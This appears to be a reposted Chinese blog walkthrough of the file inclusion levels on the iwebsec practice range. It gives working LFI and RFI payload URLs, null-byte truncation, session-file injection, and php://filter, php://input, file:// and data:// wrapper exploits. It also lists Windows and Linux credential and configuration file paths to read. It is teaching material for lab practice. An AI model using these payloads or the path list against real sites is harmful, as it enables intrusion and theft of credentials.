WEB安全-文件包含

admin 2020年11月26日10:18:50评论96 views字数 2915阅读9分43秒阅读模式

WEB安全-文件包含

环境介绍:
靶场:iwebsec,工具:burp,蚁剑

一、前提介绍


文件包含概述:

服务器在执行php文件时,可以用文件包含函数远程加载另一个文件的php代码,这带给了开发人员极大的便利!


文件包含常见函数:

require(),require_once(),include(),include_once()


文件包含漏洞原因:

使用文件包含函数包含的文件未进行过滤,从而包含危险的文件


二、靶场通关


第一关:本地文件包含(LFI)

废话不多说,打开靶场


WEB安全-文件包含


通过图中可知,test.txt为包含的文件,查看test.txt内容为phpinfo,接下来进行文件包含


WEB安全-文件包含


可以发现text文件被解析成了php文件


WEB安全-文件包含

第二关:本地文件包含绕过


打开靶场,和上一关一样,url后面代入被包含的文件:?filename=test.txt


WEB安全-文件包含

发现报错了,这里进行绕过,因为php基于c语言,以0为字符进行结尾,所有可以使用或者%00进行截断,这里在被包含的文件后面加上%00即可绕过,值得一提的是使用00截断的条件:magic_quotes_gpc = Off php版本<5.3.4


WEB安全-文件包含


3、第三关:session本地文件包含


利用条件:拥有session文件存储的位置,以及session文件可控


seesion文件的存储位置可以在网站的phpinfo页面查看,或者进行盲猜 比如linux下的存储位置就是在/var/lib/php/session目录下


WEB安全-文件包含


session文件名的构造:sess_   +  sessionid ,sessionid可以在cookie页面进行查看


WEB安全-文件包含

这里的文件名为:sess_6h7n1org3rkgl301jot9lt4n62  到shell页面查看下,也确实存在


WEB安全-文件包含


打开第三关,发现url上面显示的内容和前面两关的并不一样,通过分析发现,在其后面所输入的内容会被存储到session文件当中,那么就可以输入恶意代码,然后进行文件包含,这里输入<?php phpinfo(); ?>


WEB安全-文件包含


发现session已经进行存储,然后使用文件包含即可


WEB安全-文件包含


第四关:远程文件包含(RFI)


需要把PHP的配置文件从allow_url_fopen和allow_url_include设置为ON,和本地文件包含相同,都是使用require(),require_once(),include()和include_once()等函数进行包含,不同点在于,本地文件包含,所包含的文件是存储在本地上的,而有时候为了方便,需要动态的包含文件,这就会产生一些攻击漏洞,而危害也比本地文件包含更大。


WEB安全-文件包含


先在本地编写phpinfo,保存后更改后缀名php为html,然后上传到自己的网站上,地址:http://www.xxx.com/phpinfo.html,然后构造为:/04.php?filename=http://www.xxx.com/phpinfo.html


WEB安全-文件包含


第五关:远程文件包含绕过


参考第二关,绕过方法相同,添加%00即可


第六关:php://filter伪协议


php://filter介绍:php://filter为php伪协议的一种,设计用来过滤筛选文件

利用:非php语法文件include失败直接输出源码,php语法文件include成功,直接执行php代码。


如非想直接读取php语法文件可以先base64编码,再传入include函数,这样就不会被认为是php语法文件,输出的base64编码,解码即可。


打开靶场


WEB安全-文件包含

直接进行包含:/06.php?filename=php://filter/resource=test.txt


WEB安全-文件包含


test.txt中的php代码被完美执行,接下来修改test.txt为123,看一下效果


WEB安全-文件包含


WEB安全-文件包含


无法识别到php代码,直接输出其内容,修改回去再试下base64编码:/06.php?filename=php://filter/convert.base64-encode/resource=test.txt


WEB安全-文件包含


PD9waHAgcGhwaW5mbygpOz8+Cg==解码看一下


WEB安全-文件包含


第七关:php://input伪协议


php://input介绍:访问请求的原始数据的只读流

利用方式:将post请求中的数据作为PHP代码执行

打开靶场(...附:第七关和第八关相同)


WEB安全-文件包含

访问/08.php?filename=php://input ,然后使用burp拦截数据包,把GET请求修改为POST,然后在最下面加上php代码


WEB安全-文件包含


成功执行POST请求中的php代码


WEB安全-文件包含


第八关:file://伪协议利用

file://介绍:用于访问本地系统

利用:file://文件的绝对路径+文件名


Windows下敏感路径:

C:boot.ini    //系统版本

C:windowsrepairSAM    //初次安装密码

C:windowsphp.ini    //php配置文件

C:windowsmy.ini     //mysql配置文件,记录管理员登录过的账号密码

C:mysqldatamysqluser.MYD    //存储了mysql.user表中的数据库连接密码

C:windowssystem32inetsrvMetaBase.xml    //查看IIS的虚拟主机配置


Linux下敏感路径:

/etc/passwd    //账户信息

/etc/my.cnf   //mysql的配置文件

/etc/redhat-release    //系统版本

/etc/httpd/conf/httpd.conf    //apache配置文件

/etc/rsyncd.conf    //同步程序配置文件

/usr/local/apache2/conf/httpd.conf    //apache2缺省配置文件


打开靶场

WEB安全-文件包含


靶场环境为linux系统,读取其账户信息:/09.php?filename=file:///etc/passwd


WEB安全-文件包含


第九关:data://伪协议利用


data协议介绍:数据流封装器,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码


利用条件:php<5.3且allow_url_fopen和allow_url_include都为On时


data协议常用数据格式:

data://,<文本数据>

data://text/plain,<文本数据>

data://text/html,<html代码>

data://text/html;base64,<base64编码的html代码>

data://text/css,<CSS代码>

data://text/javascript,<js代码>

data://text/javascript;base64,<base64编码的javascript代码>

data://text/jpg;base64,<base64编码的jpg图片数据>


打开靶场


WEB安全-文件包含

先使用html数据格式试一下:/10.php?filename=data://text/html,<a>1</a>


WEB安全-文件包含


输出phpinfo:/10.php?filename=data://application/octet-stream,<?php phpinfo(); ?>

WEB安全-文件包含


WEB安全-文件包含

本文始发于微信公众号(疯猫网络):WEB安全-文件包含

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年11月26日10:18:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WEB安全-文件包含http://cn-sec.com/archives/504159.html

发表评论

匿名网友 填写信息